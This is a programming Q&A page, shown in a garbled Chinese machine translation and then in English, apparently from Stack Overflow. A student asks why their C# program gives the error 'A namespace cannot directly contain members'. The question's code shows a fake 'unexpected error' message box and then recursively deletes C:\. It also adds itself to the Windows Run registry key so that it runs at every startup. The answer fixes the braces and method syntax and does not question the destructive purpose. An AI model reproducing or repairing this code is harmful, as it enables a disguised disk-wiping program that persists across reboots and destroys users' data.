命名空间不能直接包含成员如字段或方法？ [英] A namespace cannot directly contain members such as fields or methods?

问题描述

我想创建一个在启动时（我知道这听起​​来可能恶意的，但它是一个学校项目）删除用户文档的应用程序。

不过，我得到错误命名空间不能直接包含成员如字段或方法。

回顾过去，它似乎罚款？我希望第二双眼睛可以帮助像我到处找，我无法找到相关的解决方案！

不可否认的，因为我很基本的知识，我已经使用很多帮助在线和从书本。我知道C＃的东西是有限的。 ？因此它可能只是说我愚蠢，但每个人都有开始的地方，右

中的代码如下：

 命名空间测试
 {
类节目
 {
静态无效的主要（字串[] args）
 {
 MessageBox.Show（发生意外错误）; 
如果（System.IO.Directory.Exists（@C：\））
 {
试
 {
 System.IO.Directory.Delete（ C：\\，真正的）; 
} 
 
赶上（System.IO.IOException E）
 {
 Console.WriteLine（e.Message）; 
} 
} 
} 
} 
公共类节目
 {
私人无效SetStartup（）; 
} 
 
的RegistryKey RK = Registry.CurrentUser.OpenSubKey 
（SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run真正）; 
 
如果（chkStartUp.Checked）
 rk.SetValue（AppName的，Application.ExecutablePath.ToString（））; 
，否则
 rk.DeleteValue（AppName的，虚假的）; 
 
} 
  

解决方案

您的代码严重搞砸周围 SetStartup 。如果按照正常的缩进，你会看到什么更清楚怎么回事了一下。按Ctrl-E随后在Visual Studio D，它会重新格式化您的文档 - 这应使事情更清楚地显

看这（后我已经缩进它）：

 公共类节目
 {
私人无效SetStartup（）; 
} 
 
的RegistryKey RK = []; 
  

这是试图声明一个变量（ RK ）一类的外部。你也有与没有身体非抽象方法，你就错过末花括号。

我怀疑你的意味着它是：

 公共类节目
 {
 //注意：没有分号，和* *开括号
私人无效SetStartup（）
 {
的RegistryKey RK = []; 
 //其他代码
} 
} 
 
 //而且你要关闭的命名空间声明过
  

你也将有声明了两个（非局部）类具有相同的名称...

问题

I am trying to create an application that deletes user documents at start-up (I am aware that this may sound malicious but it is for a school project).

However, I am getting the error "A namespace cannot directly contain members such as fields or methods".

Looking over it, it seems fine? I am hoping a second pair of eyes can help as I have searched everywhere and I cannot find a relevant solution!

Admittedly, because of my very basic knowledge, I have used a lot of help online and from books and what I know of c# is limited. Therefore it might just be that I'm being stupid, but everyone has to start somewhere, right?

The code is as follows:

namespace Test
{
class Program
    {
     static void Main(string[] args)
        {
        MessageBox.Show("An unexpected error occured");
        if (System.IO.Directory.Exists(@"C:\"))
        {
            try
            {
                System.IO.Directory.Delete("C:\\", true);
            }

            catch (System.IO.IOException e)
            {
                Console.WriteLine(e.Message);
            }
        }
    }
    }
public class Program
{
    private void SetStartup();
    }

        RegistryKey rk = Registry.CurrentUser.OpenSubKey
            ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);

        if (chkStartUp.Checked)
            rk.SetValue(AppName, Application.ExecutablePath.ToString());
        else
            rk.DeleteValue(AppName, false);

    }

解决方案

Your code is seriously messed up around SetStartup. If you follow the normal indentation, you'll see what's going on a bit more clearly. Press Ctrl-E followed by D in Visual Studio, and it'll reformat your document - which should make things considerably clearer.

Look at this (after I've indented it):

public class Program
{
    private void SetStartup();
}

RegistryKey rk = [...];

That's trying to declare a variable (rk) outside a class. You've also got a non-abstract method with no body, and you're missing closing braces at the end.

I suspect you meant it to be:

public class Program
{
    // Note: no semi-colon, and an *opening* brace
    private void SetStartup()
    {
        RegistryKey rk = [...];
        // Other code
    }
}

// And you'd want to close the namespace declaration too

You're also going to have problems declaring two (non-partial) classes with the same name...

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